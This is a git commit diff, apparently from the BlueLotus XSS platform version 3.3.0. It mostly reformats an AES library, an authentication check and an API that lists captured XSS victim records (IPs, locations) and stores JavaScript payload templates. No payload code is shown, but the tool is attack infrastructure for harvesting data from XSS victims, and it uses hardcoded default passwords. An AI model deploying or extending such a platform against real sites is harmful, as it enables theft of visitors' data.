Version 3.3.0
添加安装脚本install.php
This commit is contained in:
134
aes.php
134
aes.php
@@ -22,12 +22,14 @@ if(!defined('IN_XSS_PLATFORM')) {
|
||||
* generated from the cipher key by KeyExpansion()
|
||||
* @return ciphertext as byte-array (16 bytes)
|
||||
*/
|
||||
function Cipher($input, $w) { // main Cipher function [§5.1]
|
||||
function Cipher($input, $w) // main Cipher function [§5.1]
|
||||
{
|
||||
$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
|
||||
$Nr = count($w) / $Nb - 1; // no of rounds: 10/12/14 for 128/192/256-bit keys
|
||||
|
||||
$state = array(); // initialise 4xNb byte-array 'state' with input [§3.4]
|
||||
for ($i=0; $i<4*$Nb; $i++) $state[$i%4][floor($i/4)] = $input[$i];
|
||||
for ($i = 0; $i < 4 * $Nb; $i++)
|
||||
$state[$i % 4][floor($i / 4)] = $input[$i];
|
||||
|
||||
$state = AddRoundKey($state, $w, 0, $Nb);
|
||||
|
||||
@@ -42,45 +44,62 @@ function Cipher($input, $w) { // main Cipher function [§5.1]
|
||||
$state = ShiftRows($state, $Nb);
|
||||
$state = AddRoundKey($state, $w, $Nr, $Nb);
|
||||
|
||||
$output = array(4*$Nb); // convert state to 1-d array before returning [§3.4]
|
||||
for ($i=0; $i<4*$Nb; $i++) $output[$i] = $state[$i%4][floor($i/4)];
|
||||
$output = array(
|
||||
4 * $Nb
|
||||
); // convert state to 1-d array before returning [§3.4]
|
||||
for ($i = 0; $i < 4 * $Nb; $i++)
|
||||
$output[$i] = $state[$i % 4][floor($i / 4)];
|
||||
return $output;
|
||||
}
|
||||
|
||||
|
||||
function AddRoundKey($state, $w, $rnd, $Nb) { // xor Round Key into state S [§5.1.4]
|
||||
function AddRoundKey($state, $w, $rnd, $Nb) // xor Round Key into state S [§5.1.4]
|
||||
{
|
||||
for ($r = 0; $r < 4; $r++) {
|
||||
for ($c=0; $c<$Nb; $c++) $state[$r][$c] ^= $w[$rnd*4+$c][$r];
|
||||
for ($c = 0; $c < $Nb; $c++)
|
||||
$state[$r][$c] ^= $w[$rnd * 4 + $c][$r];
|
||||
}
|
||||
return $state;
|
||||
}
|
||||
|
||||
function SubBytes($s, $Nb) { // apply SBox to state S [§5.1.1]
|
||||
function SubBytes($s, $Nb) // apply SBox to state S [§5.1.1]
|
||||
{
|
||||
global $Sbox; // PHP needs explicit declaration to access global variables!
|
||||
for ($r = 0; $r < 4; $r++) {
|
||||
for ($c=0; $c<$Nb; $c++) $s[$r][$c] = $Sbox[$s[$r][$c]];
|
||||
for ($c = 0; $c < $Nb; $c++)
|
||||
$s[$r][$c] = $Sbox[$s[$r][$c]];
|
||||
}
|
||||
return $s;
|
||||
}
|
||||
|
||||
function ShiftRows($s, $Nb) { // shift row r of state S left by r bytes [§5.1.2]
|
||||
$t = array(4);
|
||||
function ShiftRows($s, $Nb) // shift row r of state S left by r bytes [§5.1.2]
|
||||
{
|
||||
$t = array(
|
||||
4
|
||||
);
|
||||
for ($r = 1; $r < 4; $r++) {
|
||||
for ($c=0; $c<4; $c++) $t[$c] = $s[$r][($c+$r)%$Nb]; // shift into temp copy
|
||||
for ($c=0; $c<4; $c++) $s[$r][$c] = $t[$c]; // and copy back
|
||||
for ($c = 0; $c < 4; $c++)
|
||||
$t[$c] = $s[$r][($c + $r) % $Nb]; // shift into temp copy
|
||||
for ($c = 0; $c < 4; $c++)
|
||||
$s[$r][$c] = $t[$c]; // and copy back
|
||||
} // note that this will work for Nb=4,5,6, but not 7,8 (always 4 for AES):
|
||||
return $s; // see fp.gladman.plus.com/cryptography_technology/rijndael/aes.spec.311.pdf
|
||||
}
|
||||
|
||||
function MixColumns($s, $Nb) { // combine bytes of each col of state S [§5.1.3]
|
||||
function MixColumns($s, $Nb) // combine bytes of each col of state S [§5.1.3]
|
||||
{
|
||||
for ($c = 0; $c < 4; $c++) {
|
||||
$a = array(4); // 'a' is a copy of the current column from 's'
|
||||
$b = array(4); // 'b' is a•{02} in GF(2^8)
|
||||
$a = array(
|
||||
4
|
||||
); // 'a' is a copy of the current column from 's'
|
||||
$b = array(
|
||||
4
|
||||
); // 'b' is a?{02} in GF(2^8)
|
||||
for ($i = 0; $i < 4; $i++) {
|
||||
$a[$i] = $s[$i][$c];
|
||||
$b[$i] = $s[$i][$c] & 0x80 ? $s[$i][$c] << 1 ^ 0x011b : $s[$i][$c] << 1;
|
||||
}
|
||||
// a[n] ^ b[n] is a•{03} in GF(2^8)
|
||||
// a[n] ^ b[n] is a?{03} in GF(2^8)
|
||||
$s[0][$c] = $b[0] ^ $a[1] ^ $b[1] ^ $a[2] ^ $a[3]; // 2*a0 + 3*a1 + a2 + a3
|
||||
$s[1][$c] = $a[0] ^ $b[1] ^ $a[2] ^ $b[2] ^ $a[3]; // a0 * 2*a1 + 3*a2 + a3
|
||||
$s[2][$c] = $a[0] ^ $a[1] ^ $b[2] ^ $a[3] ^ $b[3]; // a0 + a1 + 2*a2 + 3*a3
|
||||
@@ -96,7 +115,8 @@ function MixColumns($s, $Nb) { // combine bytes of each col of state S [§5.1.
|
||||
* @param key cipher key byte-array (16 bytes)
|
||||
* @return key schedule as 2D byte-array (Nr+1 x Nb bytes)
|
||||
*/
|
||||
function KeyExpansion($key) { // generate Key Schedule from Cipher Key [§5.2]
|
||||
function KeyExpansion($key) // generate Key Schedule from Cipher Key [§5.2]
|
||||
{
|
||||
global $Rcon; // PHP needs explicit declaration to access global variables!
|
||||
$Nb = 4; // block size (in words): no of columns in state (fixed at 4 for AES)
|
||||
$Nk = count($key) / 4; // key length (in words): 4/6/8 for 128/192/256-bit keys
|
||||
@@ -106,33 +126,45 @@ function KeyExpansion($key) { // generate Key Schedule from Cipher Key [§5.2]
|
||||
$temp = array();
|
||||
|
||||
for ($i = 0; $i < $Nk; $i++) {
|
||||
$r = array($key[4*$i], $key[4*$i+1], $key[4*$i+2], $key[4*$i+3]);
|
||||
$r = array(
|
||||
$key[4 * $i],
|
||||
$key[4 * $i + 1],
|
||||
$key[4 * $i + 2],
|
||||
$key[4 * $i + 3]
|
||||
);
|
||||
$w[$i] = $r;
|
||||
}
|
||||
|
||||
for ($i = $Nk; $i < ($Nb * ($Nr + 1)); $i++) {
|
||||
$w[$i] = array();
|
||||
for ($t=0; $t<4; $t++) $temp[$t] = $w[$i-1][$t];
|
||||
for ($t = 0; $t < 4; $t++)
|
||||
$temp[$t] = $w[$i - 1][$t];
|
||||
if ($i % $Nk == 0) {
|
||||
$temp = SubWord(RotWord($temp));
|
||||
for ($t=0; $t<4; $t++) $temp[$t] ^= $Rcon[$i/$Nk][$t];
|
||||
for ($t = 0; $t < 4; $t++)
|
||||
$temp[$t] ^= $Rcon[$i / $Nk][$t];
|
||||
} else if ($Nk > 6 && $i % $Nk == 4) {
|
||||
$temp = SubWord($temp);
|
||||
}
|
||||
for ($t=0; $t<4; $t++) $w[$i][$t] = $w[$i-$Nk][$t] ^ $temp[$t];
|
||||
for ($t = 0; $t < 4; $t++)
|
||||
$w[$i][$t] = $w[$i - $Nk][$t] ^ $temp[$t];
|
||||
}
|
||||
return $w;
|
||||
}
|
||||
|
||||
function SubWord($w) { // apply SBox to 4-byte word w
|
||||
function SubWord($w) // apply SBox to 4-byte word w
|
||||
{
|
||||
global $Sbox; // PHP needs explicit declaration to access global variables!
|
||||
for ($i=0; $i<4; $i++) $w[$i] = $Sbox[$w[$i]];
|
||||
for ($i = 0; $i < 4; $i++)
|
||||
$w[$i] = $Sbox[$w[$i]];
|
||||
return $w;
|
||||
}
|
||||
|
||||
function RotWord($w) { // rotate 4-byte word w left by one byte
|
||||
function RotWord($w) // rotate 4-byte word w left by one byte
|
||||
{
|
||||
$w[4] = $w[0];
|
||||
for ($i=0; $i<4; $i++) $w[$i] = $w[$i+1];
|
||||
for ($i = 0; $i < 4; $i++)
|
||||
$w[$i] = $w[$i + 1];
|
||||
return $w;
|
||||
}
|
||||
|
||||
@@ -181,16 +213,19 @@ $Rcon = array( array(0x00, 0x00, 0x00, 0x00),
|
||||
* @param nBits number of bits to be used in the key (128, 192, or 256)
|
||||
* @return encrypted text
|
||||
*/
|
||||
function AESEncryptCtr($plaintext, $password="blue-lotus", $nBits=128) {
|
||||
function AESEncryptCtr($plaintext, $password = "blue-lotus", $nBits = 128)
|
||||
{
|
||||
$blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
|
||||
if (!($nBits==128 || $nBits==192 || $nBits==256)) return ''; // standard allows 128/192/256 bit keys
|
||||
if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
|
||||
return ''; // standard allows 128/192/256 bit keys
|
||||
// note PHP (5) gives us plaintext and password in UTF8 encoding!
|
||||
|
||||
// use AES itself to encrypt password to get cipher key (using plain password as source for key
|
||||
// expansion) - gives us well encrypted key
|
||||
$nBytes = $nBits / 8; // no bytes in key
|
||||
$pwBytes = array();
|
||||
for ($i=0; $i<$nBytes; $i++) $pwBytes[$i] = ord(substr($password,$i,1)) & 0xff;
|
||||
for ($i = 0; $i < $nBytes; $i++)
|
||||
$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
|
||||
$key = Cipher($pwBytes, KeyExpansion($pwBytes));
|
||||
$key = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long
|
||||
|
||||
@@ -201,11 +236,14 @@ function AESEncryptCtr($plaintext, $password="blue-lotus", $nBits=128) {
|
||||
$nonceSec = floor($nonce / 1000);
|
||||
$nonceMs = $nonce % 1000;
|
||||
// encode nonce with seconds in 1st 4 bytes, and (repeated) ms part filling 2nd 4 bytes
|
||||
for ($i=0; $i<4; $i++) $counterBlock[$i] = urs($nonceSec, $i*8) & 0xff;
|
||||
for ($i=0; $i<4; $i++) $counterBlock[$i+4] = $nonceMs & 0xff;
|
||||
for ($i = 0; $i < 4; $i++)
|
||||
$counterBlock[$i] = urs($nonceSec, $i * 8) & 0xff;
|
||||
for ($i = 0; $i < 4; $i++)
|
||||
$counterBlock[$i + 4] = $nonceMs & 0xff;
|
||||
// and convert it to a string to go on the front of the ciphertext
|
||||
$ctrTxt = '';
|
||||
for ($i=0; $i<8; $i++) $ctrTxt .= chr($counterBlock[$i]);
|
||||
for ($i = 0; $i < 8; $i++)
|
||||
$ctrTxt .= chr($counterBlock[$i]);
|
||||
|
||||
// generate key schedule - an expansion of the key into distinct Key Rounds for each round
|
||||
$keySchedule = KeyExpansion($key);
|
||||
@@ -216,8 +254,10 @@ function AESEncryptCtr($plaintext, $password="blue-lotus", $nBits=128) {
|
||||
for ($b = 0; $b < $blockCount; $b++) {
|
||||
// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
|
||||
// done in two stages for 32-bit ops: using two words allows us to go past 2^32 blocks (68GB)
|
||||
for ($c=0; $c<4; $c++) $counterBlock[15-$c] = urs($b, $c*8) & 0xff;
|
||||
for ($c=0; $c<4; $c++) $counterBlock[15-$c-4] = urs($b/0x100000000, $c*8);
|
||||
for ($c = 0; $c < 4; $c++)
|
||||
$counterBlock[15 - $c] = urs($b, $c * 8) & 0xff;
|
||||
for ($c = 0; $c < 4; $c++)
|
||||
$counterBlock[15 - $c - 4] = urs($b / 0x100000000, $c * 8);
|
||||
|
||||
$cipherCntr = Cipher($counterBlock, $keySchedule); // -- encrypt counter block --
|
||||
|
||||
@@ -247,22 +287,26 @@ function AESEncryptCtr($plaintext, $password="blue-lotus", $nBits=128) {
|
||||
* @param nBits number of bits to be used in the key (128, 192, or 256)
|
||||
* @return decrypted text
|
||||
*/
|
||||
function AESDecryptCtr($ciphertext, $password="blue-lotus", $nBits=128) {
|
||||
function AESDecryptCtr($ciphertext, $password = "blue-lotus", $nBits = 128)
|
||||
{
|
||||
$blockSize = 16; // block size fixed at 16 bytes / 128 bits (Nb=4) for AES
|
||||
if (!($nBits==128 || $nBits==192 || $nBits==256)) return ''; // standard allows 128/192/256 bit keys
|
||||
if (!($nBits == 128 || $nBits == 192 || $nBits == 256))
|
||||
return ''; // standard allows 128/192/256 bit keys
|
||||
$ciphertext = base64_decode($ciphertext);
|
||||
|
||||
// use AES to encrypt password (mirroring encrypt routine)
|
||||
$nBytes = $nBits / 8; // no bytes in key
|
||||
$pwBytes = array();
|
||||
for ($i=0; $i<$nBytes; $i++) $pwBytes[$i] = ord(substr($password,$i,1)) & 0xff;
|
||||
for ($i = 0; $i < $nBytes; $i++)
|
||||
$pwBytes[$i] = ord(substr($password, $i, 1)) & 0xff;
|
||||
$key = Cipher($pwBytes, KeyExpansion($pwBytes));
|
||||
$key = array_merge($key, array_slice($key, 0, $nBytes - 16)); // expand key to 16/24/32 bytes long
|
||||
|
||||
// recover nonce from 1st element of ciphertext
|
||||
$counterBlock = array();
|
||||
$ctrTxt = substr($ciphertext, 0, 8);
|
||||
for ($i=0; $i<8; $i++) $counterBlock[$i] = ord(substr($ctrTxt,$i,1));
|
||||
for ($i = 0; $i < 8; $i++)
|
||||
$counterBlock[$i] = ord(substr($ctrTxt, $i, 1));
|
||||
|
||||
// generate key schedule
|
||||
$keySchedule = KeyExpansion($key);
|
||||
@@ -270,7 +314,8 @@ function AESDecryptCtr($ciphertext, $password="blue-lotus", $nBits=128) {
|
||||
// separate ciphertext into blocks (skipping past initial 8 bytes)
|
||||
$nBlocks = ceil((strlen($ciphertext) - 8) / $blockSize);
|
||||
$ct = array();
|
||||
for ($b=0; $b<$nBlocks; $b++) $ct[$b] = substr($ciphertext, 8+$b*$blockSize, 16);
|
||||
for ($b = 0; $b < $nBlocks; $b++)
|
||||
$ct[$b] = substr($ciphertext, 8 + $b * $blockSize, 16);
|
||||
$ciphertext = $ct; // ciphertext is now array of block-length strings
|
||||
|
||||
// plaintext will get generated block-by-block into array of block-length strings
|
||||
@@ -278,8 +323,10 @@ function AESDecryptCtr($ciphertext, $password="blue-lotus", $nBits=128) {
|
||||
|
||||
for ($b = 0; $b < $nBlocks; $b++) {
|
||||
// set counter (block #) in last 8 bytes of counter block (leaving nonce in 1st 8 bytes)
|
||||
for ($c=0; $c<4; $c++) $counterBlock[15-$c] = urs($b, $c*8) & 0xff;
|
||||
for ($c=0; $c<4; $c++) $counterBlock[15-$c-4] = urs(($b+1)/0x100000000-1, $c*8) & 0xff;
|
||||
for ($c = 0; $c < 4; $c++)
|
||||
$counterBlock[15 - $c] = urs($b, $c * 8) & 0xff;
|
||||
for ($c = 0; $c < 4; $c++)
|
||||
$counterBlock[15 - $c - 4] = urs(($b + 1) / 0x100000000 - 1, $c * 8) & 0xff;
|
||||
|
||||
$cipherCntr = Cipher($counterBlock, $keySchedule); // encrypt counter block
|
||||
|
||||
@@ -307,8 +354,10 @@ function AESDecryptCtr($ciphertext, $password="blue-lotus", $nBits=128) {
|
||||
* @param b number of bits to shift a to the right (0..31)
|
||||
* @return a right-shifted and zero-filled by b bits
|
||||
*/
|
||||
function urs($a, $b) {
|
||||
$a &= 0xffffffff; $b &= 0x1f; // (bounds check)
|
||||
function urs($a, $b)
|
||||
{
|
||||
$a &= 0xffffffff;
|
||||
$b &= 0x1f; // (bounds check)
|
||||
if ($a & 0x80000000 && $b > 0) { // if left-most bit set
|
||||
$a = ($a >> 1) & 0x7fffffff; // right-shift one bit & clear left-most bit
|
||||
$a = $a >> ($b - 1); // remaining right-shifts
|
||||
@@ -317,4 +366,3 @@ function urs($a, $b) {
|
||||
}
|
||||
return $a;
|
||||
}
|
||||
?>
|
||||
|
||||
75
api.php
75
api.php
@@ -1,8 +1,8 @@
|
||||
<?php
|
||||
define("IN_XSS_PLATFORM", true);
|
||||
require('auth.php');
|
||||
require_once('auth.php');
|
||||
require_once("load.php");
|
||||
require_once("functions.php");
|
||||
require_once("config.php");
|
||||
require_once("dio.php");
|
||||
header('Content-Type: application/json');
|
||||
|
||||
@@ -11,12 +11,9 @@ define('ID_REGEX', '/^[0-9]{10}$/');
|
||||
//合法文件名的正则表达式
|
||||
define('FILE_REGEX', '/(?!((^(con)$)|^(con)\..*|(^(prn)$)|^(prn)\..*|(^(aux)$)|^(aux)\..*|(^(nul)$)|^(nul)\..*|(^(com)[1-9]$)|^(com)[1-9]\..*|(^(lpt)[1-9]$)|^(lpt)[1-9]\..*)|^\s+|.*\s$)(^[^\/\\\:\*\?\"\<\>\|]{1,255}$)/');
|
||||
|
||||
|
||||
//与xss记录相关api
|
||||
if(isset($_GET['cmd']))
|
||||
{
|
||||
switch($_GET['cmd'])
|
||||
{
|
||||
if (isset($_GET['cmd'])) {
|
||||
switch ($_GET['cmd']) {
|
||||
//获取所有记录包括详细信息
|
||||
case 'list':
|
||||
echo json_encode(xss_record_detail_list());
|
||||
@@ -53,10 +50,8 @@ if(isset($_GET['cmd']))
|
||||
}
|
||||
}
|
||||
//与js模板相关api
|
||||
else if(isset($_GET['js_template_cmd']))
|
||||
{
|
||||
switch($_GET['js_template_cmd'])
|
||||
{
|
||||
else if (isset($_GET['js_template_cmd'])) {
|
||||
switch ($_GET['js_template_cmd']) {
|
||||
//获取所有js模板的名字与描述
|
||||
case 'list':
|
||||
echo json_encode(js_name_and_desc_list(JS_TEMPLATE_PATH));
|
||||
@@ -64,30 +59,25 @@ else if(isset($_GET['js_template_cmd']))
|
||||
|
||||
//添加js模板
|
||||
case 'add':
|
||||
if(isset($_POST['name'])&&isset($_POST['desc'])&&isset($_POST['content'])&&preg_match(FILE_REGEX,$_POST['name']))
|
||||
{
|
||||
if (isset($_POST['name']) && isset($_POST['desc']) && isset($_POST['content']) && preg_match(FILE_REGEX, $_POST['name'])) {
|
||||
if (!is_writable(JS_TEMPLATE_PATH))
|
||||
echo json_encode(false);
|
||||
else
|
||||
{
|
||||
else {
|
||||
save_js_desc(JS_TEMPLATE_PATH, $_POST['desc'], $_POST['name']);
|
||||
save_js_content(JS_TEMPLATE_PATH, $_POST['content'], $_POST['name']);
|
||||
echo json_encode(true);
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
echo json_encode(false);
|
||||
|
||||
break;
|
||||
|
||||
//修改js模板
|
||||
case 'modify':
|
||||
if(isset($_POST['old_name'])&&isset($_POST['name'])&&isset($_POST['desc'])&&isset($_POST['content'])&&preg_match(FILE_REGEX,$_POST['old_name'])&&preg_match(FILE_REGEX,$_POST['name']))
|
||||
{
|
||||
if (isset($_POST['old_name']) && isset($_POST['name']) && isset($_POST['desc']) && isset($_POST['content']) && preg_match(FILE_REGEX, $_POST['old_name']) && preg_match(FILE_REGEX, $_POST['name'])) {
|
||||
if (!is_writable(JS_TEMPLATE_PATH))
|
||||
echo json_encode(false);
|
||||
else
|
||||
{
|
||||
else {
|
||||
if ($_POST['old_name'] != $_POST['name'])
|
||||
delete_js(JS_TEMPLATE_PATH, $_POST['old_name']);
|
||||
|
||||
@@ -95,8 +85,7 @@ else if(isset($_GET['js_template_cmd']))
|
||||
save_js_content(JS_TEMPLATE_PATH, $_POST['content'], $_POST['name']);
|
||||
echo json_encode(true);
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
echo json_encode(false);
|
||||
|
||||
break;
|
||||
@@ -127,10 +116,8 @@ else if(isset($_GET['js_template_cmd']))
|
||||
}
|
||||
}
|
||||
//与我的js相关api
|
||||
else if(isset($_GET['my_js_cmd']))
|
||||
{
|
||||
switch($_GET['my_js_cmd'])
|
||||
{
|
||||
else if (isset($_GET['my_js_cmd'])) {
|
||||
switch ($_GET['my_js_cmd']) {
|
||||
//获取所有我的js的名字与描述
|
||||
case 'list':
|
||||
echo json_encode(js_name_and_desc_list(MY_JS_PATH));
|
||||
@@ -138,31 +125,26 @@ else if(isset($_GET['my_js_cmd']))
|
||||
|
||||
//添加js模板
|
||||
case 'add':
|
||||
if(isset($_POST['name'])&&isset($_POST['desc'])&&isset($_POST['content'])&&preg_match(FILE_REGEX,$_POST['name']))
|
||||
{
|
||||
if (isset($_POST['name']) && isset($_POST['desc']) && isset($_POST['content']) && preg_match(FILE_REGEX, $_POST['name'])) {
|
||||
if (!is_writable(MY_JS_PATH))
|
||||
echo json_encode(false);
|
||||
else
|
||||
{
|
||||
else {
|
||||
save_js_desc(MY_JS_PATH, $_POST['desc'], $_POST['name']);
|
||||
save_js_content(MY_JS_PATH, $_POST['content'], $_POST['name']);
|
||||
echo json_encode(true);
|
||||
}
|
||||
|
||||
}
|
||||
else
|
||||
} else
|
||||
echo json_encode(false);
|
||||
|
||||
break;
|
||||
|
||||
//修改js模板
|
||||
case 'modify':
|
||||
if(isset($_POST['old_name'])&&isset($_POST['name'])&&isset($_POST['desc'])&&isset($_POST['content'])&&preg_match(FILE_REGEX,$_POST['old_name'])&&preg_match(FILE_REGEX,$_POST['name']))
|
||||
{
|
||||
if (isset($_POST['old_name']) && isset($_POST['name']) && isset($_POST['desc']) && isset($_POST['content']) && preg_match(FILE_REGEX, $_POST['old_name']) && preg_match(FILE_REGEX, $_POST['name'])) {
|
||||
if (!is_writable(MY_JS_PATH))
|
||||
echo json_encode(false);
|
||||
else
|
||||
{
|
||||
else {
|
||||
if ($_POST['old_name'] != $_POST['name'])
|
||||
delete_js(MY_JS_PATH, $_POST['old_name']);
|
||||
|
||||
@@ -170,8 +152,7 @@ else if(isset($_GET['my_js_cmd']))
|
||||
save_js_content(MY_JS_PATH, $_POST['content'], $_POST['name']);
|
||||
echo json_encode(true);
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
echo json_encode(false);
|
||||
|
||||
break;
|
||||
@@ -200,12 +181,12 @@ else if(isset($_GET['my_js_cmd']))
|
||||
default:
|
||||
echo json_encode(false);
|
||||
}
|
||||
}
|
||||
else
|
||||
} else
|
||||
echo json_encode(false);
|
||||
|
||||
|
||||
function xss_record_id_list() {
|
||||
function xss_record_id_list()
|
||||
{
|
||||
$files = glob(DATA_PATH . '/*.php');
|
||||
$list = array();
|
||||
foreach ($files as $file) {
|
||||
@@ -216,23 +197,22 @@ function xss_record_id_list() {
|
||||
return $list;
|
||||
}
|
||||
|
||||
function xss_record_detail_list() {
|
||||
function xss_record_detail_list()
|
||||
{
|
||||
$list = array();
|
||||
$files = glob(DATA_PATH . '/*.php');
|
||||
arsort($files);
|
||||
|
||||
foreach ($files as $file) {
|
||||
$filename = basename($file, ".php");
|
||||
if( preg_match(ID_REGEX, $filename) )
|
||||
{
|
||||
if (preg_match(ID_REGEX, $filename)) {
|
||||
$info = load_xss_record($filename);
|
||||
if ($info === false)
|
||||
continue;
|
||||
|
||||
$isChange = false;
|
||||
//如果没有设置location,就查询qqwry.dat判断location
|
||||
if(!isset($info['location']))
|
||||
{
|
||||
if (!isset($info['location'])) {
|
||||
$info['location'] = stripStr(convertip($info['user_IP'], IPDATA_PATH));
|
||||
$isChange = true;
|
||||
}
|
||||
@@ -281,4 +261,3 @@ function js_name_and_desc_list($path)
|
||||
|
||||
return $list;
|
||||
}
|
||||
?>
|
||||
5
auth.php
5
auth.php
@@ -8,8 +8,7 @@ ini_set("session.cookie_httponly", 1);
|
||||
session_start();
|
||||
|
||||
//判断登陆情况,ip和useragent是否改变,改变则强制退出
|
||||
if(!(isset($_SESSION['isLogin']) && $_SESSION['isLogin']===true && isset($_SESSION['user_IP']) &&$_SESSION['user_IP']!="" &&$_SESSION['user_IP']=== $_SERVER['REMOTE_ADDR'] &&isset($_SESSION['user_agent']) &&$_SESSION['user_agent']!="" &&$_SESSION['user_agent']=== $_SERVER['HTTP_USER_AGENT'] ))
|
||||
{
|
||||
if (!(isset($_SESSION['isLogin']) && $_SESSION['isLogin'] === true && isset($_SESSION['user_IP']) && $_SESSION['user_IP'] != "" && $_SESSION['user_IP'] === $_SERVER['REMOTE_ADDR'] && isset($_SESSION['user_agent']) && $_SESSION['user_agent'] != "" && $_SESSION['user_agent'] === $_SERVER['HTTP_USER_AGENT'])) {
|
||||
$_SESSION['isLogin'] = false;
|
||||
$_SESSION['user_IP'] = "";
|
||||
$_SESSION['user_agent'] = "";
|
||||
@@ -23,5 +22,3 @@ if(!(isset($_SESSION['isLogin']) && $_SESSION['isLogin']===true && isset($_SESSI
|
||||
header("Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-src 'none'");
|
||||
header("X-Content-Security-Policy: default-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-src 'none'");
|
||||
header("X-WebKit-CSP: default-src 'self'; style-src 'self' 'unsafe-inline';img-src 'self' data:; frame-src 'none'");
|
||||
|
||||
?>
|
||||
@@ -29,20 +29,21 @@ if($argv[1]==="update")
|
||||
else
|
||||
change_pass($argv[1], $argv[2], $argv[3], $argv[4], $argv[5], $argv[6]);
|
||||
|
||||
function update_from_old_version($old_enable_encrypt,$old_encrypt_pass){
|
||||
//如果从旧版本升级,就统一先切换为RC4,密码bluelotus
|
||||
modify_ForbiddenIPList($old_enable_encrypt,$old_encrypt_pass,"AES","true","bluelotus", "RC4");
|
||||
modify_xss_record($old_enable_encrypt,$old_encrypt_pass,"AES","true","bluelotus","RC4");
|
||||
}
|
||||
function change_pass($old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type)
|
||||
function update_from_old_version($old_encrypt_enable, $old_encrypt_pass)
|
||||
{
|
||||
modify_ForbiddenIPList($old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type);
|
||||
modify_xss_record($old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type);
|
||||
modify_js_desc(MY_JS_PATH,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type);
|
||||
modify_js_desc(JS_TEMPLATE_PATH,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type);
|
||||
//如果从旧版本升级,就统一先切换为RC4,密码bluelotus
|
||||
modify_ForbiddenIPList($old_encrypt_enable, $old_encrypt_pass, "AES", "true", "bluelotus", "RC4");
|
||||
modify_xss_record($old_encrypt_enable, $old_encrypt_pass, "AES", "true", "bluelotus", "RC4");
|
||||
}
|
||||
function change_pass($old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type)
|
||||
{
|
||||
modify_ForbiddenIPList($old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
modify_xss_record($old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
modify_js_desc(MY_JS_PATH, $old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
modify_js_desc(JS_TEMPLATE_PATH, $old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
}
|
||||
|
||||
function modify_ForbiddenIPList($old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type)
|
||||
function modify_ForbiddenIPList($old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type)
|
||||
{
|
||||
$logfile = DATA_PATH . '/forbiddenIPList.dat';
|
||||
|
||||
@@ -50,8 +51,8 @@ function modify_ForbiddenIPList($old_enable_encrypt,$old_encrypt_pass,$old_encry
|
||||
if ($str === false)
|
||||
return;
|
||||
|
||||
$str=decrypt($str,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type);
|
||||
$str=encrypt($str, $new_enable_encrypt, $new_encrypt_pass, $new_encrypt_type);
|
||||
$str = decrypt($str, $old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type);
|
||||
$str = encrypt($str, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
|
||||
if (@file_put_contents($logfile, $str))
|
||||
echo "修改封禁ip成功\n";
|
||||
@@ -59,25 +60,22 @@ function modify_ForbiddenIPList($old_enable_encrypt,$old_encrypt_pass,$old_encry
|
||||
echo "修改封禁ip失败,可能是没有权限,chmod 777!\n";
|
||||
}
|
||||
|
||||
function modify_xss_record($old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type,$new_enable_encrypt,$new_encrypt_pass, $new_encrypt_type)
|
||||
function modify_xss_record($old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type)
|
||||
{
|
||||
$files = glob(DATA_PATH . '/*.php');
|
||||
|
||||
foreach ($files as $file) {
|
||||
$filename = basename($file, ".php");
|
||||
if( preg_match("/^[0-9]{10}$/", $filename) )
|
||||
{
|
||||
if (preg_match("/^[0-9]{10}$/", $filename)) {
|
||||
$logFile = dirname(__FILE__) . '/' . DATA_PATH . '/' . $filename . '.php';
|
||||
$info = @file_get_contents($logFile);
|
||||
|
||||
if($info!==false && strncmp($info,'<?php exit();?>',15)===0)
|
||||
{
|
||||
if ($info !== false && strncmp($info, '<?php exit();?>', 15) === 0) {
|
||||
$info = substr($info, 15);
|
||||
$info=decrypt($info,$old_enable_encrypt,$old_encrypt_pass,$old_encrypt_type);
|
||||
}
|
||||
else
|
||||
$info = decrypt($info, $old_encrypt_enable, $old_encrypt_pass, $old_encrypt_type);
|
||||
} else
|
||||
$info = "";
|
||||
$info=encrypt($info, $new_enable_encrypt, $new_encrypt_pass, $new_encrypt_type);
|
||||
$info = encrypt($info, $new_encrypt_enable, $new_encrypt_pass, $new_encrypt_type);
|
||||
|
||||
